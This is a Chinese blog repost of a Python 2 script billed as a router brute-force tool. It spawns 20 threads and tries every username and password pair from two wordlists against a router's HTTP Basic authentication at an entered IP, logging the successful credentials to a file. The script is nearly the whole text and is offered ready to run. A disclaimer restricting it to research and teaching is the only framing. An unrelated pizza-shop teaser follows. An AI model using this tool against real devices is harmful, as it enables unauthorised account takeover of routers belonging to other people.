运行时请在其目录下添加 user.txt、passwd.txt 两文件。否则会报错。
程序没有加异常处理。
代码比较挫……
#coding:utf-8- import base64 import urllib2 import Queue import threading,re,sys queue = Queue.Queue() class Rout_thread(threading.Thread): def __init__(self,queue,passwd): threading.Thread.__init__(self) self.queue=queue self.passwordlist=passwd def run(self): self.user=queue.get() for self.passwd in self.passwordlist: request = urllib2.Request("http://"+target) psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) request.add_header('Authorization', psw_base64) try: response = urllib2.urlopen(request) print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) fp3 = open('log.txt','a') fp3.write(self.user+'||'+self.passwd+'rn') fp3.close() except urllib2.HTTPError: print "[-]password:%s Error!" % (self.passwd) if __name__ == '__main__': print ''' ####################################################### # # # Routing brute force tool # # # # by:well # # # ####################################################### ''' passwordlist = [] line = 20 threads = [] global target target = raw_input("input ip:") fp =open("user.txt") fp2=open("passwd.txt") for user in fp.readlines(): queue.put(user.split('n')[0]) for passwd in fp2.readlines(): passwordlist.append(passwd.split('n')[0]) #print passwordlist fp.close() fp2.close() for i in range(line): a = Rout_thread(queue,passwordlist) a.start() threads.append(a) for j in threads: j.join()
文章来源于lcx.cc:python多线程暴力破解路由登陆账号密码,HTTP基础认证暴力破解
什么是大数据? 某比萨店的电话铃响了,客服人员拿起电话。 客服:XXX比萨店。您好,请问有什么需要我为您服务? 顾客:你好,我想要一份…… 客服:先生,烦请先把您的会员卡号告诉我。 顾客:16846146***。 客服:陈先生,您好!您是住在泉州路…
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论